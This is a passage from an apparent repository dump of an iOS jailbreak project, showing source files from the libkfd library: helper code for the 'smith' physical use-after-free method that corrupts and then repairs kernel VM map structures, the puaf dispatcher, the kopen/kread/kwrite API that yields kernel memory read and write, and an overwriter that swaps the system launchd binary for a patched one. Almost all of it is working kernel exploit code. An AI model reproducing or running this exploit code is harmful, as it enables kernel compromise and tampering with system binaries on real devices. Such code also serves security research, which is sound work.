\"target_hole_size\" can be set to 0.\n * 2. We need to find the VA range from which we will allocate our 5 map entries\n *    in smith_run() during step 1 (i.e. vme0 to vme4 in the write-up). Those 5\n *    map entries will cover (3X+5) pages, where X is the desired number of\n *    PUAF pages. For reasons that are explained in the write-up, we want to\n *    allocate them towards the end of our VM map. Therefore, we find the last\n *    hole that is big enough to hold our 5 map entries.\n */\nvoid smith_helper_init(struct kfd* kfd)\n{\n    const u64 target_hole_size = pages(0);\n    bool found_target_hole = false;\n\n    struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);\n    smith->vme[0].size = pages(1);\n    smith->vme[1].size = pages(kfd->puaf.number_of_puaf_pages);\n    smith->vme[2].size = pages(1);\n    smith->vme[3].size = (smith->vme[1].size + smith->vme[2].size);\n    smith->vme[4].size = (smith->vme[0].size + smith->vme[3].size);\n    u64 smith_total_size = (smith->vme[3].size + smith->vme[4].size + smith->vme[4].size);\n\n    u64 min_address, max_address;\n    puaf_helper_get_vm_map_min_and_max(&min_address, &max_address);\n\n    /*\n     * If the boolean parameter \"take_vm_map_lock\" is turned on, we spawn the\n     * thread running smith_helper_cleanup_pthread() right here. Please see the\n     * comment above smith_helper_cleanup_pthread() for more info.\n     */\n    if (take_vm_map_lock) {\n        atomic_store(&smith->cleanup_vme.max_address, max_address);\n        assert_bsd(pthread_create(&smith->cleanup_vme.pthread, NULL, smith_helper_cleanup_pthread, kfd));\n    }\n\n    vm_address_t address = 0;\n    vm_size_t size = 0;\n    vm_region_basic_info_data_64_t data = {};\n    vm_region_info_t info = (vm_region_info_t)(&data);\n    mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT_64;\n    mach_port_t port = MACH_PORT_NULL;\n\n    vm_address_t vme0_address = 0;\n    vm_address_t prev_vme_end = 0;\n\n    while (true) {\n        kern_return_t kret = vm_region_64(mach_task_self(), &address, &size, VM_REGION_BASIC_INFO_64, info, &count, &port);\n        if ((kret == KERN_INVALID_ADDRESS) || (address >= max_address)) {\n            if (found_target_hole) {\n                vm_size_t last_hole_size = max_address - prev_vme_end;\n                /*\n                 * If \"target_hole_size\" is zero, we could instead simply set\n                 * \"vme0_address\" to (map->max_offset - smith_total_size),\n                 * after making sure that this VA range is not already mapped.\n                 */\n                if (last_hole_size >= (smith_total_size + pages(1))) {\n                    vme0_address = (max_address - smith_total_size);\n                }\n            }\n\n            break;\n        }\n\n        assert(kret == KERN_SUCCESS);\n\n        /*\n         * Quick hack: pre-fault code pages to avoid faults during the critical section.\n         */\n        if (data.protection & VM_PROT_EXECUTE) {\n            for (u64 page_address = address; page_address < address + size; page_address += pages(1)) {\n                u64 tmp_value = *(volatile u64*)(page_address);\n            }\n        }\n\n        vm_address_t hole_address = prev_vme_end;\n        vm_size_t hole_size = address - prev_vme_end;\n\n        if (prev_vme_end < min_address) {\n            goto next_vm_region;\n        }\n\n        if (found_target_hole) {\n            if (hole_size >= (smith_total_size + pages(1))) {\n                vme0_address = (address - smith_total_size);\n            }\n        } else {\n            if (hole_size >= target_hole_size) {\n                found_target_hole = true;\n            } else if (hole_size > 0) {\n                assert_mach(vm_allocate(mach_task_self(), &hole_address, hole_size, VM_FLAGS_FIXED));\n            }\n        }\n\nnext_vm_region:\n        address += size;\n        size = 0;\n        prev_vme_end = address;\n    }\n\n    assert(found_target_hole);\n\n    smith->vme[0].address = vme0_address;\n    smith->vme[1].address = smith->vme[0].address + smith->vme[0].size;\n    smith->vme[2].address = smith->vme[1].address + smith->vme[1].size;\n    smith->vme[3].address = smith->vme[2].address + smith->vme[2].size;\n    smith->vme[4].address = smith->vme[3].address + smith->vme[3].size;\n}\n\n/*\n * This function is ran by 4 spinner threads spawned from smith_run() in step 2.\n * It simply attempts to change the protection of virtual page zero to\n * VM_PROT_WRITE in a busy-loop, which will return KERN_INVALID_ADDRESS until\n * the main thread triggers the bad clip in vm_map_copyin_internal(). At that\n * point, vm_protect() will return KERN_SUCCESS. Finally, once the main thread\n * returns from vm_copy(), it will set \"main_thread_returned\" to true in order\n * to signal all 4 spinner threads to exit.\n */\nvoid* smith_helper_spinner_pthread(void* arg)\n{\n    struct kfd* kfd = (struct kfd*)(arg);\n    struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);\n\n    atomic_fetch_add(&smith->started_spinner_pthreads, 1);\n\n    while (!atomic_load(&smith->main_thread_returned)) {\n        kern_return_t kret = vm_protect(mach_task_self(), 0, pages(1), false, VM_PROT_WRITE);\n        assert((kret == KERN_SUCCESS) || (kret == KERN_INVALID_ADDRESS));\n    }\n\n    return NULL;\n}\n\n/*\n * This function is only ran from a thread spawned in smith_helper_init() if the\n * boolean parameter \"take_vm_map_lock\" is turned on. The reason why it is\n * spawned that early, instead of at the beginning of smith_helper_cleanup(), is\n * that pthread creation will allocate virtual memory for its stack, which might\n * cause a kernel panic because we have not patched the corrupted VM map state\n * yet. It sleeps for 1 ms in a loop until the main thread sets\n * \"cleanup_vme.should_start\" to true to signal this thread to start the\n * procedure to take the vm_map_lock(). It does so by patching the right child\n * of a map entry to point back to itself, then it sets \"cleanup_vme.did_start\"\n * to true to signal the main thread to start patching the state, and finally it\n * calls vm_protect(), which will take the vm_map_lock() indefinitely while\n * vm_map_lookup_entry() spins on the right child. Once the main thread has\n * finished patching up the state, it will restore the right child to its\n * original value, which will cause vm_protect() to return and this pthread to\n * exit.\n */\nvoid* smith_helper_cleanup_pthread(void* arg)\n{\n    struct kfd* kfd = (struct kfd*)(arg);\n    struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);\n    vm_address_t max_address = atomic_load(&smith->cleanup_vme.max_address);\n    vm_address_t cleanup_vme_end = 0;\n\n    while (!atomic_load(&smith->cleanup_vme.should_start)) {\n        usleep(1000);\n    }\n\n    do {\n        /*\n         * Find the last entry with vme_end smaller than the map's max_offset,\n         * with a right child that is not null, but not the entry we are going to leak.\n         */\n        u64 map_kaddr = kfd->info.kaddr.current_map;\n        u64 entry_kaddr = kget_u64(_vm_map__hdr__links__prev, map_kaddr);\n\n        while (true) {\n            u64 entry_prev = kget_u64(vm_map_entry__links__prev, entry_kaddr);\n            u64 entry_start = kget_u64(vm_map_entry__links__start, entry_kaddr);\n            u64 entry_end = kget_u64(vm_map_entry__links__end, entry_kaddr);\n            u64 entry_right = kget_u64(vm_map_entry__store__entry__rbe_right, entry_kaddr);\n\n            if ((entry_end < max_address) && (entry_right != 0) && (entry_start != 0)) {\n                /*\n                 * Patch the entry to have its right child point to itself.\n                 */\n                atomic_store(&smith->cleanup_vme.kaddr, entry_kaddr);\n                atomic_store(&smith->cleanup_vme.right, entry_right);\n                u64 store_kaddr = entry_kaddr + kfd_offset(vm_map_entry__store__entry__rbe_left);\n                kset_u64(vm_map_entry__store__entry__rbe_right, store_kaddr, entry_kaddr);\n                cleanup_vme_end = entry_end;\n                break;\n            }\n\n            entry_kaddr = entry_prev;\n        }\n    } while (0);\n\n    atomic_store(&smith->cleanup_vme.did_start, true);\n    vm_protect(mach_task_self(), cleanup_vme_end, pages(1), false, VM_PROT_ALL);\n    return NULL;\n}\n\n#define vme_for_store(kaddr) ((kaddr) ? (((kaddr) - kfd_offset(vm_map_entry__store__entry__rbe_left)) & (~1ull)) : (kaddr))\n\n/*\n * This function is responsible to patch the corrupted state of our VM map. If\n * the boolean parameter \"take_vm_map_lock\" is turned on, please see the comment\n * above smith_helper_cleanup_pthread() for more info. Otherwise, the rest of\n * the function simply uses the kread primitive to scan the doubly-linked list\n * of map entries as well as the hole list, and the kwrite primitive to patch it\n * up. This procedure is explained in detail in part C of the write-up.\n */\nvoid smith_helper_cleanup(struct kfd* kfd)\n{\n    assert(kfd->info.kaddr.current_map);\n    struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);\n\n    if (take_vm_map_lock) {\n        atomic_store(&smith->cleanup_vme.should_start, true);\n        while (!atomic_load(&smith->cleanup_vme.did_start)) {\n            usleep(10);\n        }\n\n        /*\n         * Sleep an extra 100 us to make sure smith_helper_cleanup_pthread()\n         * had the time to take the vm_map_lock().\n         */\n        usleep(100);\n    }\n\n    u64 map_kaddr = kfd->info.kaddr.current_map;\n\n    do {\n        /*\n         * Scan map entries: we use the kread primitive to loop through every\n         * map entries in our VM map, and record the information that we need to\n         * patch things up below. There are some assertions along the way to\n         * make sure the state of the VM map is corrupted as expected.\n         */\n        u64 entry_count = 0;\n        u64 entry_kaddr = kget_u64(_vm_map__hdr__links__next, map_kaddr);\n        u64 map_entry_kaddr = map_kaddr + kfd_offset(_vm_map__hdr__links__prev);\n        u64 first_vme_kaddr = 0;\n        u64 first_vme_parent_store = 0;\n        u64 second_vme_kaddr = 0;\n        u64 second_vme_left_store = 0;\n        u64 vme_end0_kaddr = 0;\n        u64 vme_end0_start = 0;\n        u64 leaked_entry_right_store = 0;\n        u64 leaked_entry_parent_store = 0;\n        u64 leaked_entry_prev = 0;\n        u64 leaked_entry_next = 0;\n        u64 leaked_entry_end = 0;\n\n        while (entry_kaddr != map_entry_kaddr) {\n            entry_count++;\n            u64 entry_next = kget_u64(vm_map_entry__links__next, entry_kaddr);\n            u64 entry_start = kget_u64(vm_map_entry__links__start, entry_kaddr);\n            u64 entry_end = kget_u64(vm_map_entry__links__end, entry_kaddr);\n\n            if (entry_count == 1) {\n                first_vme_kaddr = entry_kaddr;\n                first_vme_parent_store = kget_u64(vm_map_entry__store__entry__rbe_parent, entry_kaddr);\n                u64 first_vme_left_store = kget_u64(vm_map_entry__store__entry__rbe_left, entry_kaddr);\n                u64 first_vme_right_store = kget_u64(vm_map_entry__store__entry__rbe_right, entry_kaddr);\n                assert(first_vme_left_store == 0);\n                assert(first_vme_right_store == 0);\n            } else if (entry_count == 2) {\n                second_vme_kaddr = entry_kaddr;\n                second_vme_left_store = kget_u64(vm_map_entry__store__entry__rbe_left, entry_kaddr);\n            } else if (entry_end == 0) {\n                vme_end0_kaddr = entry_kaddr;\n                vme_end0_start = entry_start;\n                assert(vme_end0_start == smith->vme[1].address);\n            } else if (entry_start == 0) {\n                assert(entry_kaddr == vme_for_store(first_vme_parent_store));\n                assert(entry_kaddr == vme_for_store(second_vme_left_store));\n                u64 leaked_entry_left_store = kget_u64(vm_map_entry__store__entry__rbe_left, entry_kaddr);\n                leaked_entry_right_store = kget_u64(vm_map_entry__store__entry__rbe_right, entry_kaddr);\n                leaked_entry_parent_store = kget_u64(vm_map_entry__store__entry__rbe_parent, entry_kaddr);\n                assert(leaked_entry_left_store == 0);\n                assert(vme_for_store(leaked_entry_right_store) == first_vme_kaddr);\n                assert(vme_for_store(leaked_entry_parent_store) == second_vme_kaddr);\n                leaked_entry_prev = kget_u64(vm_map_entry__links__prev, entry_kaddr);\n                leaked_entry_next = entry_next;\n                leaked_entry_end = entry_end;\n                assert(leaked_entry_end == smith->vme[3].address);\n            }\n\n            entry_kaddr = entry_next;\n        }\n\n        /*\n         * Patch the doubly-linked list.\n         *\n         * We leak \"vme2b\" from the doubly-linked list, as explained in the write-up.\n         */\n        kset_u64(vm_map_entry__links__next, leaked_entry_next, leaked_entry_prev);\n        kset_u64(vm_map_entry__links__prev, leaked_entry_prev, leaked_entry_next);\n\n        /*\n         * Patch \"vme2->vme_end\".\n         *\n         * The kwrite() call is just a workaround if the kwrite primitive cannot\n         * overwrite 0. Otherwise, the first 4 lines can be omitted.\n         */\n        u64 vme_end0_start_and_next[2] = { vme_end0_start, (-1) };\n        u64 unaligned_kaddr = vme_end0_kaddr + kfd_offset(vm_map_entry__links__start) + 1;\n        u64 unaligned_uaddr = (u64)(&vme_end0_start_and_next) + 1;\n        kwrite((u64)(kfd), (void*)(unaligned_uaddr), unaligned_kaddr, sizeof(u64));\n        kset_u64(vm_map_entry__links__end, leaked_entry_end, vme_end0_kaddr);\n\n        /*\n         * Patch the red-black tree.\n         *\n         * We leak \"vme2b\" from the red-black tree, as explained in the write-up.\n         */\n        kset_u64(vm_map_entry__store__entry__rbe_parent, leaked_entry_parent_store, vme_for_store(leaked_entry_right_store));\n        kset_u64(vm_map_entry__store__entry__rbe_left, leaked_entry_right_store, vme_for_store(leaked_entry_parent_store));\n\n        /*\n         * Patch map->hdr.nentries.\n         *\n         * I believe this is not strictly necessary to prevent a kernel panic\n         * when the process exits, but I like to patch it just in case.\n         */\n        u64 nentries_buffer = kget_u64(_vm_map__hdr__nentries, map_kaddr);\n        i32 old_nentries = *(i32*)(&nentries_buffer);\n        print_u32(old_nentries);\n        *(i32*)(&nentries_buffer) = (old_nentries - 1);\n        kset_u64(_vm_map__hdr__nentries, nentries_buffer, map_kaddr);\n\n        /*\n         * Patch map->hint.\n         *\n         * We set map->hint to point to vm_map_to_entry(map), which effectively\n         * means there is no valid hint.\n         */\n        kset_u64(_vm_map__hint, map_entry_kaddr, map_kaddr);\n    } while (0);\n\n    do {\n        /*\n         * Scan hole list: we use the kread primitive to loop through every hole\n         * entry in our VM map's hole list, and record the information that we\n         * need to patch things up below. Once again, there are some assertions\n         * along the way to make sure the state is corrupted as expected.\n         */\n        u64 hole_count = 0;\n        u64 hole_kaddr = kget_u64(_vm_map__holes_list, map_kaddr);\n        u64 first_hole_kaddr = hole_kaddr;\n        u64 prev_hole_end = 0;\n        u64 first_leaked_hole_prev = 0;\n        u64 first_leaked_hole_next = 0;\n        u64 first_leaked_hole_end = 0;\n        u64 second_leaked_hole_prev = 0;\n        u64 second_leaked_hole_next = 0;\n\n        while (true) {\n            hole_count++;\n            u64 hole_next = kget_u64(vm_map_entry__links__next, hole_kaddr);\n            u64 hole_start = kget_u64(vm_map_entry__links__start, hole_kaddr);\n            u64 hole_end = kget_u64(vm_map_entry__links__end, hole_kaddr);\n\n            if (hole_start == 0) {\n                first_leaked_hole_prev = kget_u64(vm_map_entry__links__prev, hole_kaddr);\n                first_leaked_hole_next = hole_next;\n                first_leaked_hole_end = hole_end;\n                assert(prev_hole_end == smith->vme[1].address);\n            } else if (hole_start == smith->vme[1].address) {\n                second_leaked_hole_prev = kget_u64(vm_map_entry__links__prev, hole_kaddr);\n                second_leaked_hole_next = hole_next;\n                assert(hole_end == smith->vme[2].address);\n            }\n\n            hole_kaddr = hole_next;\n            prev_hole_end = hole_end;\n            if (hole_kaddr == first_hole_kaddr) {\n                break;\n            }\n        }\n\n        /*\n         * Patch the hole entries.\n         *\n         * We patch the end address of the first hole and we leak the two extra\n         * holes, as explained in the write-up.\n         */\n        kset_u64(vm_map_entry__links__end, first_leaked_hole_end, first_leaked_hole_prev);\n        kset_u64(vm_map_entry__links__next, first_leaked_hole_next, first_leaked_hole_prev);\n        kset_u64(vm_map_entry__links__prev, first_leaked_hole_prev, first_leaked_hole_next);\n        kset_u64(vm_map_entry__links__next, second_leaked_hole_next, second_leaked_hole_prev);\n        kset_u64(vm_map_entry__links__prev, second_leaked_hole_prev, second_leaked_hole_next);\n\n        /*\n         * Patch map->hole_hint.\n         *\n         * We set map->hole_hint to point to the first hole, which is guaranteed\n         * to not be one of the two holes that we just leaked.\n         */\n        kset_u64(_vm_map__hole_hint, first_hole_kaddr, map_kaddr);\n    } while (0);\n\n    if (take_vm_map_lock) {\n        /*\n         * Restore the entry to have its right child point to its original value.\n         */\n        u64 entry_kaddr = atomic_load(&smith->cleanup_vme.kaddr);\n        u64 entry_right = atomic_load(&smith->cleanup_vme.right);\n        kset_u64(vm_map_entry__store__entry__rbe_right, entry_right, entry_kaddr);\n        assert_bsd(pthread_join(smith->cleanup_vme.pthread, NULL));\n    }\n}\n\n#endif /* smith_h */\n"
  },
  {
    "path": "usprebooter/libkfd/puaf.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef puaf_h\n#define puaf_h\n\n// Forward declarations for helper functions.\nvoid puaf_helper_get_vm_map_first_and_last(u64* first_out, u64* last_out);\nvoid puaf_helper_get_vm_map_min_and_max(u64* min_out, u64* max_out);\nvoid puaf_helper_give_ppl_pages(void);\n\n#include \"puaf/landa.h\"\n#include \"puaf/physpuppet.h\"\n#include \"puaf/smith.h\"\n\n#define puaf_method_case(method)                                 \\\n    case puaf_##method: {                                        \\\n        const char* method_name = #method;                       \\\n        print_string(method_name);                               \\\n        kfd->puaf.puaf_method_ops.init = method##_init;          \\\n        kfd->puaf.puaf_method_ops.run = method##_run;            \\\n        kfd->puaf.puaf_method_ops.cleanup = method##_cleanup;    \\\n        kfd->puaf.puaf_method_ops.free = method##_free;          \\\n        break;                                                   \\\n    }\n\nvoid puaf_init(struct kfd* kfd, u64 puaf_pages, u64 puaf_method)\n{\n    kfd->puaf.number_of_puaf_pages = puaf_pages;\n    kfd->puaf.puaf_pages_uaddr = (u64*)(malloc_bzero(kfd->puaf.number_of_puaf_pages * sizeof(u64)));\n\n    switch (puaf_method) {\n        puaf_method_case(landa)\n        puaf_method_case(physpuppet)\n        puaf_method_case(smith)\n    }\n\n    kfd->puaf.puaf_method_ops.init(kfd);\n}\n\nvoid puaf_run(struct kfd* kfd)\n{\n    puaf_helper_give_ppl_pages();\n\n    timer_start();\n    kfd->puaf.puaf_method_ops.run(kfd);\n    timer_end();\n}\n\nvoid puaf_cleanup(struct kfd* kfd)\n{\n    timer_start();\n    kfd->puaf.puaf_method_ops.cleanup(kfd);\n    timer_end();\n}\n\nvoid puaf_free(struct kfd* kfd)\n{\n    kfd->puaf.puaf_method_ops.free(kfd);\n\n    bzero_free(kfd->puaf.puaf_pages_uaddr, kfd->puaf.number_of_puaf_pages * sizeof(u64));\n\n    if (kfd->puaf.puaf_method_data) {\n        bzero_free(kfd->puaf.puaf_method_data, kfd->puaf.puaf_method_data_size);\n    }\n}\n\n/*\n * Helper puaf functions.\n */\n\nvoid puaf_helper_get_vm_map_first_and_last(u64* first_out, u64* last_out)\n{\n    u64 first_address = 0;\n    u64 last_address = 0;\n\n    vm_address_t address = 0;\n    vm_size_t size = 0;\n    vm_region_basic_info_data_64_t data = {};\n    vm_region_info_t info = (vm_region_info_t)(&data);\n    mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT_64;\n    mach_port_t port = MACH_PORT_NULL;\n\n    while (true) {\n        kern_return_t kret = vm_region_64(mach_task_self(), &address, &size, VM_REGION_BASIC_INFO_64, info, &count, &port);\n        if (kret == KERN_INVALID_ADDRESS) {\n            last_address = address;\n            break;\n        }\n\n        assert(kret == KERN_SUCCESS);\n\n        if (!first_address) {\n            first_address = address;\n        }\n\n        address += size;\n        size = 0;\n    }\n\n    *first_out = first_address;\n    *last_out = last_address;\n}\n\nvoid puaf_helper_get_vm_map_min_and_max(u64* min_out, u64* max_out)\n{\n    task_vm_info_data_t data = {};\n    task_info_t info = (task_info_t)(&data);\n    mach_msg_type_number_t count = TASK_VM_INFO_COUNT;\n    assert_mach(task_info(mach_task_self(), TASK_VM_INFO, info, &count));\n\n    *min_out = data.min_address;\n    *max_out = data.max_address;\n}\n\nvoid puaf_helper_give_ppl_pages(void)\n{\n    timer_start();\n\n    const u64 given_ppl_pages_max = 10000;\n    const u64 l2_block_size = (1ull << 25);\n\n    vm_address_t addresses[given_ppl_pages_max] = {};\n    vm_address_t address = 0;\n    u64 given_ppl_pages = 0;\n\n    u64 min_address, max_address;\n    puaf_helper_get_vm_map_min_and_max(&min_address, &max_address);\n\n    while (true) {\n        address += l2_block_size;\n        if (address < min_address) {\n            continue;\n        }\n\n        if (address >= max_address) {\n            break;\n        }\n\n        kern_return_t kret = vm_allocate(mach_task_self(), &address, pages(1), VM_FLAGS_FIXED);\n        if (kret == KERN_SUCCESS) {\n            memset((void*)(address), 'A', 1);\n            addresses[given_ppl_pages] = address;\n            if (++given_ppl_pages == given_ppl_pages_max) {\n                break;\n            }\n        }\n    }\n\n    for (u64 i = 0; i < given_ppl_pages; i++) {\n        assert_mach(vm_deallocate(mach_task_self(), addresses[i], pages(1)));\n    }\n\n    print_u64(given_ppl_pages);\n    timer_end();\n}\n\n#endif /* puaf_h */\n"
  },
  {
    "path": "usprebooter/libkfd.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef libkfd_h\n#define libkfd_h\n\n/*\n * The global configuration parameters of libkfd.\n */\n#define CONFIG_ASSERT 1\n#define CONFIG_PRINT 1\n#define CONFIG_TIMER 1\n\n#include \"libkfd/common.h\"\n#include \"fun.h\"\n\n/*\n * The public API of libkfd.\n */\n\nenum puaf_method {\n    puaf_physpuppet,\n    puaf_smith,\n    puaf_landa,\n};\n\nenum kread_method {\n    kread_kqueue_workloop_ctl,\n    kread_sem_open,\n};\n\nenum kwrite_method {\n    kwrite_dup,\n    kwrite_sem_open,\n};\n\nu64 kopen(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method);\nvoid kread(u64 kfd, u64 kaddr, void* uaddr, u64 size);\nvoid kwrite(u64 kfd, void* uaddr, u64 kaddr, u64 size);\nvoid kclose(u64 kfd);\n\n/*\n * The private API of libkfd.\n */\n\nstruct kfd; // Forward declaration for function pointers.\n\nstruct info {\n    struct {\n        vm_address_t src_uaddr;\n        vm_address_t dst_uaddr;\n        vm_size_t size;\n    } copy;\n    struct {\n        i32 pid;\n        u64 tid;\n        u64 vid;\n        u64 maxfilesperproc;\n        char kern_version[512];\n        char build_version[512]; // Add this line\n        char device_id[512];\n    } env;\n    struct {\n        u64 current_map;\n        u64 current_pmap;\n        u64 current_proc;\n        u64 current_task;\n        u64 kernel_map;\n        u64 kernel_pmap;\n        u64 kernel_proc;\n        u64 kernel_task;\n    } kaddr;\n};\n\nstruct perf {\n    u64 kernel_slide;\n    u64 gVirtBase;\n    u64 gPhysBase;\n    u64 gPhysSize;\n    struct {\n        u64 pa;\n        u64 va;\n    } ttbr[2];\n    struct ptov_table_entry {\n        u64 pa;\n        u64 va;\n        u64 len;\n    } ptov_table[8];\n    struct {\n        u64 kaddr;\n        u64 paddr;\n        u64 uaddr;\n        u64 size;\n    } shared_page;\n    struct {\n        i32 fd;\n        u32 si_rdev_buffer[2];\n        u64 si_rdev_kaddr;\n    } dev;\n    void (*saved_kread)(struct kfd*, u64, void*, u64);\n    void (*saved_kwrite)(struct kfd*, void*, u64, u64);\n};\n\nstruct puaf {\n    u64 number_of_puaf_pages;\n    u64* puaf_pages_uaddr;\n    void* puaf_method_data;\n    u64 puaf_method_data_size;\n    struct {\n        void (*init)(struct kfd*);\n        void (*run)(struct kfd*);\n        void (*cleanup)(struct kfd*);\n        void (*free)(struct kfd*);\n    } puaf_method_ops;\n};\n\nstruct krkw {\n    u64 krkw_maximum_id;\n    u64 krkw_allocated_id;\n    u64 krkw_searched_id;\n    u64 krkw_object_id;\n    u64 krkw_object_uaddr;\n    u64 krkw_object_size;\n    void* krkw_method_data;\n    u64 krkw_method_data_size;\n    struct {\n        void (*init)(struct kfd*);\n        void (*allocate)(struct kfd*, u64);\n        bool (*search)(struct kfd*, u64);\n        void (*kread)(struct kfd*, u64, void*, u64);\n        void (*kwrite)(struct kfd*, void*, u64, u64);\n        void (*find_proc)(struct kfd*);\n        void (*deallocate)(struct kfd*, u64);\n        void (*free)(struct kfd*);\n    } krkw_method_ops;\n};\n\nstruct kfd {\n    struct info info;\n    struct perf perf;\n    struct puaf puaf;\n    struct krkw kread;\n    struct krkw kwrite;\n};\n\n#include \"libkfd/info.h\"\n#include \"libkfd/puaf.h\"\n#include \"libkfd/krkw.h\"\n#include \"libkfd/perf.h\"\n\nstruct kfd* kfd_init(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method)\n{\n    struct kfd* kfd = (struct kfd*)(malloc_bzero(sizeof(struct kfd)));\n    info_init(kfd);\n    puaf_init(kfd, puaf_pages, puaf_method);\n    krkw_init(kfd, kread_method, kwrite_method);\n    perf_init(kfd);\n    return kfd;\n}\n\nvoid kfd_free(struct kfd* kfd)\n{\n    perf_free(kfd);\n    krkw_free(kfd);\n    puaf_free(kfd);\n    info_free(kfd);\n    bzero_free(kfd, sizeof(struct kfd));\n}\n\nu64 kopen(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method)\n{\n//    timer_start();\n\n    const u64 puaf_pages_min = 16;\n    const u64 puaf_pages_max = 4096;\n    assert(puaf_pages >= puaf_pages_min);\n    assert(puaf_pages <= puaf_pages_max);\n    assert(puaf_method <= puaf_landa);\n    assert(kread_method <= kread_sem_open);\n    assert(kwrite_method <= kwrite_sem_open);\n\n    struct kfd* kfd = kfd_init(puaf_pages, puaf_method, kread_method, kwrite_method);\n    puaf_run(kfd);\n    krkw_run(kfd);\n    info_run(kfd);\n    perf_run(kfd);\n    puaf_cleanup(kfd);\n\n//    timer_end();\n    return (u64)(kfd);\n}\n\nvoid kread(u64 kfd, u64 kaddr, void* uaddr, u64 size)\n{\n    krkw_kread((struct kfd*)(kfd), kaddr, uaddr, size);\n}\n\nvoid kwrite(u64 kfd, void* uaddr, u64 kaddr, u64 size)\n{\n    krkw_kwrite((struct kfd*)(kfd), uaddr, kaddr, size);\n}\n\nvoid kclose(u64 kfd)\n{\n    kfd_free((struct kfd*)(kfd));\n}\n\n#endif /* libkfd_h */\n"
  },
  {
    "path": "usprebooter/memoryControl.h",
    "content": "//\n//  memoryControl.h\n//  PureKFD\n//\n//  Created by Nick Chan on 10/12/2023.\n//\n\n#ifndef memoryControl_h\n#define memoryControl_h\n\n#include <stdio.h>\n#include <stdbool.h>\n#include <stdint.h>\n#include <Security/Security.h>\n#include <CoreFoundation/CoreFoundation.h>\n#define MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT        6\n#define MEMORYSTATUS_CMD_GET_MEMLIMIT_PROPERTIES      8\n\ntypedef struct CF_BRIDGED_TYPE(id) __SecTask *SecTaskRef;\nSecTaskRef SecTaskCreateFromSelf(CFAllocatorRef _Nullable allocator);\nCFTypeRef SecTaskCopyValueForEntitlement(SecTaskRef task, CFStringRef entitlement, CFErrorRef *error);\n\nbool hasEntitlement(CFStringRef entitlement);\nint memorystatus_control(uint32_t command, int32_t pid, uint32_t flags, void *buffer, size_t buffersize);\nuint64_t getPhysicalMemorySize(void);\n\ntypedef struct memorystatus_memlimit_properties {\n    int32_t memlimit_active;                /* jetsam memory limit (in MB) when process is active */\n    uint32_t memlimit_active_attr;\n    int32_t memlimit_inactive;              /* jetsam memory limit (in MB) when process is inactive */\n    uint32_t memlimit_inactive_attr;\n} memorystatus_memlimit_properties_t;\n\ntypedef struct memorystatus_memlimit_properties2 {\n    memorystatus_memlimit_properties_t v1;\n    uint32_t memlimit_increase;             /* jetsam memory limit increase (in MB) for active and inactive states */\n    uint32_t memlimit_increase_bytes;       /* bytes used to determine the jetsam memory limit increase, for active and inactive states */\n} memorystatus_memlimit_properties2_t;\n\n#endif /* memoryControl_h */\n"
  },
  {
    "path": "usprebooter/memoryControl.m",
    "content": "//\n//  memoryControl.m\n//  PureKFD\n//\n//  Created by Nick Chan on 10/12/2023.\n//\n\n#import <Foundation/Foundation.h>\n#include \"memoryControl.h\"\n\nbool hasEntitlement(CFStringRef entitlement) {\n    SecTaskRef task = SecTaskCreateFromSelf(NULL);\n    CFTypeRef value = SecTaskCopyValueForEntitlement(task, entitlement, NULL);\n    if (value != nil) {\n        CFRelease(value);\n    }\n    CFRelease(task);\n    return (value != NULL);\n}\n\nuint64_t getPhysicalMemorySize(void) {\n    return NSProcessInfo.processInfo.physicalMemory;\n}\n"
  },
  {
    "path": "usprebooter/overwriter.h",
    "content": "//\n//  overwriter.h\n//  usprebooter\n//\n//  Created by LL on 1/12/23.\n//\n\n#ifndef overwriter_h\n#define overwriter_h\nbool overwrite_patchedlaunchd_kfd(void);\n#endif /* overwriter_h */\n"
  },
  {
    "path": "usprebooter/overwriter.m",
    "content": "@import Darwin;\n@import Foundation;\n@import MachO;\n\n#import <mach-o/fixup-chains.h>\n#import \"vm_unaligned_copy_switch_race.h\"\n#import \"overwriter.h\"\n#import \"troller.h\"\n#import \"fun/thanks_opa334dev_htrowii.h\"\n#include \"util.h\"\n#import \"fun/vnode.h\"\n\nNSString* getLunchd(void) {\n    return jbroot(@\"lunchd\");\n}\n\nbool overwrite_patchedlaunchd_kfd(void) {\n    // ayo whats this – bomberfish\n//    SwitchSysBin(getVnodeAtPathByChdir(\"/System/Library/CoreServices/SpringBoard.app\"), \"SpringBoard\", \"/var/jb/SprangBoard\");\n    printf(\"[i] performing launchd hax\\n\");\n    SwitchSysBin(getVnodeAtPathByChdir(\"/sbin\"), \"launchd\", getLunchd().UTF8String);\n    printf(\"[i] launchd haxed\\n\");\n    return true;\n}\n"
  },
  {
    "path": "usprebooter/troller.h",
    "content": "//\n//  troller.h\n//  usprebooter\n//\n//  Created by LL on 29/11/23.\n//\n\n#ifndef troller_h\n#define troller_h\nint userspaceReboot(void);\nint go(void);\nint get_boot_manifest_hash(char hash[97]);\nchar* return_boot_manifest_hash_main(void);\n#endif /* troller_h */\n"
  },
  {
    "path": "usprebooter/troller.m",
